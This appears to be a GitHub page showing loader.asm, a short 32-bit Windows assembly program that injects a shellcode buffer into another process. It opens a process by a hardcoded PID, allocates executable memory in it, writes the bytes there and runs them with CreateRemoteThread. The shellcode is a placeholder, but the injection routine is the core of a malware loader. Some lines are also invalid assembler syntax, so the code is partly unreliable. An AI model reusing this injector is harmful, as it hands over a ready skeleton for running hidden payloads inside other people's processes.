-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathloader.asm
More file actions
105 lines (79 loc) · 1.96 KB
/
loader.asm
File metadata and controls
105 lines (79 loc) · 1.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
section .data
pid DWORD 13668
PROCESS_ALL_ACCESS equ 0x1F0FFF
PAGE_EXECUTE_READWRITE equ 0x40
MEM_COMMIT equ 0x1000
MEM_RESERVE equ 0x2000
msg db 'Injected Shell Code Into Process', 0
title db 'Success', 0
fail db 'Failure', 0
shellcode db 0x90, 0x90, 0x90, 0x90, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xFF, 0xD0 ; this isn't real shellcode so once it's injected if it even injects the process will most likely crash
shellcode_len equ $ - shellcode
section .bss
hproc resd 1
shellcode_addr resd 1
section .text
global _start
extern OpenProcess@12
extern VirtualAllocEx@20
extern WriteProcessMemory@20
extern CreateRemoteThread@24
extern MessageBoxA@16
extern ExitProcess@4
extern GetLastError@0
_start:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push PROCESS_ALL_ACCESS
push 0
push pid
call OpenProcess@12
mov [hproc], eax
test eax, eax
jz error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push MEM_COMMIT or MEM_RESERVE
push PAGE_EXECUTE_READWRITE
push 0
push shellcode_len
push [hproc]
call VirtualAllocEx@20
mov [shellcode_addr], eax
test eax, eax
jz error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 0
push shellcode_len
push shellcode
push [shellcode_addr]
push [hproc]
call WriteProcessMemory@20
test eax, eax
jz error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 0
push 0
push [shellcode_addr]
push 0
push 0
push [hproc]
call CreateRemoteThread@24
test eax, eax
jz error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 0
push title
push msg
push 0
call MessageBoxA@16
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 0
call ExitProcess@4
error:
call GetLastError@0
push 0
push fail
push 'Failed to inject shell code', 0
push 0
call MessageBoxA@16
push 1
call ExitProcess@4